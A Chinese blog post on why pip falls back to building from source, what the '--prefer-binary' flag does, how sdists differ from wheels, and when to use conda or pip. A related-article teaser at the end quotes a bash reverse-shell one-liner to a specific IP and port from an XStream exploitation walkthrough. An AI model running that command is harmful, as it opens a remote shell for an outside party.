pip 和 conda,到底用哪个安装?

  • 为什么 pip 有时装不下来而 --prefer-binary 可以?
    • 什么是源代码发行版?
    • 什么是轮子?
  • conda 和 pip 有什么区别?优先用谁啊?
    • 两者适合的场景(何时用哪个)
    • 安装路径:pip / conda 分别装到哪里(如何查看)

今天遇到的问题,当我用 pip install pymupdf 时报 × Encountered error while generating package metadata,但是 python -m pip install --prefer-binary pymupdf 却报 Successfully installed pymupdf-1.26.0

若 pip 报错显示在编译某个 C/C++ 源文件失败,通常不是 pip 本身的问题,而是缺系统依赖或没有 wheel。想快速判断“是不是 wheel 的问题”:试 pip install --prefer-binary pymupdf,若成功就说明是 wheel vs source 的差别。

为什么 pip 有时装不下来而 --prefer-binary 可以?

总结:遇到的 pymupdf 情况:如果没有合适的 wheel,pip 会尝试从源代码编译(这需要系统编译工具和 MuPDF 的头文件/库),编译失败就装不上;--prefer-binary 会让 pip 尽可能选择一个已有的 wheel(哪怕是旧版本),从而成功。

先来学一下 Python Package Formats

你会在包索引( 如 PyPI) 上找到两种格式的文件: 源发行版 ,简称 sdists,以及 二进制发行版 ,通常称为轮子 。例如,pip 23.3.1 的 PyPI 页面允许下载两个文件,pip-23.3.1.tar.gzpip-23.3.1-py3-none-any.whl。前者是 sdist,后者是轮子。在 PyPI(或其他地方)上发布包时,应该始终上传一个 sdist 和一个或多个 wheel。

  • PyPI 上每个包可能提供多种分发格式:wheel(二进制)sdist(源码)wheel 可以直接安装;sdist 需要在本机执行编译步骤(如果包包含扩展模块)。如果你的平台/Python 版本没有对应的 wheel,pip 就会下载 sdist 并尝试 build

  • pip install pymupdf:若 PyPI 上没有与当前 Python/平台匹配的 wheel,pip 会尝试构建(失败常见原因:缺少编译器、python-dev 头文件、或缺少第三方 C 库/头文件)。有 wheel 时直接安装速度又快又稳。PyMuPDF 文档也明确“如果有 wheel 则会从 wheel 安装”。

    在这里插入图片描述

  • --prefer-binary 的作用是优先选择二进制包(即使那不是最新版本),从而避免回退到源代码编译导致的失败。若没有任何可用 wheel,则仍然会回退(或失败)。(pip 文档有 –prefer-binary 的说明) 。

什么是源代码发行版?

从概念上讲,源代码发行版是原始形式的源代码存档。具体来说,sdist 是一个 .tar.gz 存档,其中包含源代码和一个名为 PKG-INFO 的附加特殊文件,该文件保存项目元数据。此文件的存在有助于打包工具提高效率,因为不需要自己计算元数据。PKG-INFO 文件遵循核心元数据规范中指定的格式,不打算手动编写。

当标准 Python 包安装程序 pip 找不到要安装的轮子时,它将回退到下载源代码发行版,从中编译轮子并安装轮子。此外,sdist 经常被下游打包者(例如 Linux 发行版、macOS 上的 Conda、Homebrew 和 MacPorts 等)用作包源,出于各种原因,他们可能更喜欢它们,例如从 Git 存储库中提取。

什么是轮子?

从概念上讲,滚轮恰好包含安装包时需要复制的文件

对于 扩展模块 ,用 C、C++ 和 Rust 等编译语言编写,需要编译成依赖于平台的机器代码。使用这些包,轮子不包含源代码(如 C 源文件),而是包含编译的可执行代码(如 Linux 上的 .so 文件或 Windows 上的 DLL)。

一个轮子,通常适用于所有平台和 Python 版本。Python 是一种解释型语言,不需要提前编译,因此轮子像 sdists 一样包含 .py 文件。

轮子的文件名(忽略一些很少使用的功能)如下所示: package_name-version-python_tag-abi_tag-platform_tag.whl 。此命名约定标识滚轮与哪些平台和 Python 版本兼容。例如,名称 pip-23.3.1-py3-none-any.whl 表示:

  • py3) 这个轮子可以安装在 Python 3 的任何实现上,无论是 CPython(使用最广泛的 Python 实现),还是像 PyPy 这样的替代实现;
  • none )它不依赖于 Python 版本;
  • any) 它不依赖于平台。

More Info about wheel to see here.

conda 和 pip 有什么区别?优先用谁啊?

  • pip:从 PyPI 下载 Python 包的“Python 包管理器/安装器”,优先取 wheel(二进制包),没有 wheel 则回退到 source(sdist)并在本机编译。--prefer-binary 会让 pip 更偏好二进制 wheel,避免本地编译。

  • conda:是跨语言的包/环境管理器,以分发已编译的二进制包为主(包括非 Python 的系统库),从 conda 仓库或 channel(例如 conda-forge)取包,通常能避免本机编译 C/C++ 依赖。

两者适合的场景(何时用哪个)

  • 优先用 conda(如果你在用 conda 环境):当包有复杂的 C/C++、外部库依赖(如科学栈、GDAL、ffmpeg、mupdf 等),能在 conda/conda-forge 上找到对应包时,conda 更稳,因为它 提供了已编译的二进制 并且 会处理底层库依赖
  • 用 pip 来补缺:如果某包在 conda 仓库里没有,或者 conda 的版本滞后,用 pip 在已激活的 conda 环境里安装通常可行(先用 conda 安装尽可能多的二进制依赖,再用 pip 安装纯 Python 包)。这也是官方常见建议的混合做法
  • 纯 Python 虚拟环境(venv/virtualenv)下:直接用 pip(PyPI)是最常见做法。对于需要编译的扩展,事先准备好编译器和 dev 库。

安装路径:pip / conda 分别装到哪里(如何查看)

  • pip(在当前 Python 环境中):会 装到该 Python 的 site-packages 中。常见位置(示例):

    • Linux/macOS(系统或自编译 Python):/usr/local/lib/pythonX.Y/site-packages/

    • venv / conda env:$VENV_OR_CONDA_PREFIX/lib/pythonX.Y/site-packages/

    • –user 模式:~/.local/lib/pythonX.Y/site-packages/(可通过 python -m site --user-site 查看)。

    查看某包路径:pip show pymupdf 会输出 Location,或在 Python 里 import pymupdf; print(pymupdf.__file__)

  • conda:用 conda info --envs 可看环境位置

    用 conda 时,先确认 conda-forge 是否有对应包并用该 channel 安装:

    conda search -c conda-forge pymupdf
    conda install -c conda-forge pymupdf
    
  • 在 conda env 中用 pip 安装,先激活 env,再用 pip,

    conda activate myenv
    python -m pip install --upgrade pip setuptools wheel
    python -m pip install pymupdf   # 或加 --prefer-binary
    

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/95209.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/95209.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

bert学习

首先了解一下几种embedding。比如elmo就是一个embedding模型。one-hot编码只能实现one word one embedding,而我们的elmo能实现one token one embeddingElmo是基于双向LSTM,所以每个词其实会有正向和反向两个预测结果,那么我们用哪个呢&#…

Java安全-组件安全

一、Xstream启动环境并访问接下来我们构造反弹shell语句,bash -i >& /dev/tcp/8.152.2.86/9999 0>&1,紧接着对其进行base64编码。接下来使用命令即可首先开启监听接下来执行命令接下来抓包对其进行payload构造即可紧接着回去查看回显发现成…

【10】微网优联——微网优联 嵌入式技术一面,校招,面试问答记录

微网优联——微网优联 嵌入式技术一面,校招,问答记录 1. 2 分钟简单自自我介绍2. 问一遍笔试题目3. IP地址在哪个层4.手动配置过IP地址吗?要配哪几个?5. ARP 是域名找IP地址还是IP地址找域名?6. Linux、计算机网络、操作系统掌握的怎么样&a…

C#使用EPPlus读写Excel

依赖EPPlus 获取依赖可以阅读:Nuget For Unity插件介绍_nugetforunity-CSDN博客 可以参阅该篇快速入门:在Unity中使用Epplus写Excel_unity epplus-CSDN博客 下面是我封装的几个方法: 要在合适的时机配置许可证,比如你的工具类的静态函数.建议使用版本7.7.1 #region Excel封装,…

高性能Web服务器

一、Web服务基础介绍 1.1、互联网发展历程 1993年3月2日,中国科学院高能物理研究所租用AT&T公司的国际卫星信道建立的接入美国SLAC国家实验室的64K专线正式开通,成为我国连入Internet的第一根专线。 1995年马云开始创业并推出了一个web网站中国黄…

《算法导论》第 16 章 - 贪心算法

大家好!今天我们来深入探讨《算法导论》第 16 章的核心内容 —— 贪心算法。贪心算法是一种在每一步选择中都采取在当前状态下最好或最优(即最有利)的选择,从而希望导致结果是全局最好或最优的算法。它在许多优化问题中都有广泛应…

Redis面试精讲 Day 18:Redis网络优化与连接管理

【Redis面试精讲 Day 18】Redis网络优化与连接管理 开篇 欢迎来到"Redis面试精讲"系列第18天,今天我们将深入探讨Redis网络优化与连接管理技术。在分布式系统中,Redis的网络性能和连接管理直接影响整个系统的响应速度和稳定性。掌握这些优化…

Centos8系统在安装Git包时,报错:“没有任何匹配: git”

报错类型: sudo dnf install git Repository AppStream is listed more than once in the configuration Repository BaseOS is listed more than once in the configuration Repository extras is listed more than once in the configuration Repository fasttrac…

glide缓存策略和缓存命中

一 缓存策略 1 Glide 的 diskCacheStrategy() 一共有 5 种枚举值(DiskCacheStrategy),每种的作用和区别如下:1. DiskCacheStrategy.ALL 作用:同时缓存原始图片(原图数据)和经过变换(…

如何将PDF文档进行高效编辑处理!

PDF文件可以在任何设备上以相同的格式查看,无论操作系统或软件环境如何,可以确保修改后的文档仍然保持原有的布局和格式。它完全免费,下载后双击即可运行,无需安装,使用非常方便。它具备出色的文本编辑功能&#xff0c…

应用层模拟面试题

模拟面试-C第一题(开发音视频处理模块)在开发音视频处理模块时,FFmpeg资源(AVFrame*)需要自动释放。如何用unique_ptr定制删除器替代手动av_frame_free()?写出代码并解释RAII优势。参考答案:auto frame_deleter[](AVFr…

分享一款基于STC8H8K32U-45I-LQFP48单片机的4路数字量输入输出模块

4路数字量输入输出模块产品说明产品特性输入部分: 4路光耦隔离数字量输入通道支持NPN和PNP两种输入方式,可通过拨码开关切换输入电压范围:10-30VDC典型应用:可连接按钮开关、接近开关、光电传感器等数字信号设备输出部分&#xff…

redis常见的性能问题

Redis 的性能问题通常源于配置不当、数据结构误用、资源瓶颈或架构缺陷。以下是 Redis 常见的性能问题及优化方案,结合线上经验整理:🧠 ​一、内存相关问题​​1. 内存不足(OOM)​​​现象​:OOM errors、响…

Blender 基础操作

基础操作 一、视角控制 ①旋转视角 : 拖动鼠标中键 ②平移视角 : shift 鼠标中键 ③放大\缩小 :鼠标滚轮 二、物体控制 1、重要 ① 移动物体 : G ② 旋转物体 : R ③ 缩放物体 : S 2、不重要 ④ 新建物体 : shift A ⑤ 复制物体 : shift D…

Go 语言三大核心数据结构深度解析:数组、切片(Slice)与映射(Map)

🚀Go 语言三大核心数据结构深度解析:数组、切片(Slice)与映射(Map) 在 Go 语言的开发领域,数组、切片与映射 这三大核心数据结构犹如构建程序的基石,支撑着各类数据的存储与处理。它…

《Webpack与Vite热模块替换机制深度剖析与策略抉择》

从早期简单的文件合并工具,到如今功能强大、高度自动化的Webpack和Vite,它们重塑了前端开发的流程与效率。而热模块替换(HMR, Hot Module Replacement)机制,作为其中关键的一环,更是成为开发者提升开发体验、加速项目迭代的秘密武器。Webpack,作为前端构建领域的先驱者,…

虚拟乐队“天鹅绒落日”:AI生成音乐引发的行业风暴

引言近日,音乐行业掀起了一阵关于一支名为“The Velvet Sundown”(天鹅绒落日)乐队的新闻热潮。原因何在?这支乐队很可能并非真正的乐队,其音乐也或许是由人工智能生成的。事实上,越来越多的共识认为&#…

c++ final override 关键字

1.finalfinal 防止子类继承,用于类或虚函数,限制继承或重写class Base final {}; // Base类不能被继承class Base { public:virtual void foo() final; // 禁止子类重写foo() };2.overrideoverride 子类中重写父类中函数,,仅用于…

剑桥大学最新研究:基于大语言模型(LLM)的分子动力学模拟框架,是MD的GPT时刻还是概念包装?

近期,剑桥大学 Michele Vendruscolo 团队在预印本平台上发布了一项最新研究,提出了一个名为 MD-LLM 的框架,旨在为高效研究蛋白质动态提供一种全新的思路。简单来说,他们希望借助大语言模型(LLM)&#xff0…

MySQL梳理:其他

MySQL数据库技术知识合集,涵盖InnoDB存储引擎的区管理机制、缓冲池机制等核心技术要点。本文档将持续补充MySQL相关的重要技术知识点。 📋 目录 模块一:InnoDB区状态管理机制 1.1 核心设计思想1.2 四种区状态详解1.3 渐进式空间分配策略1.4…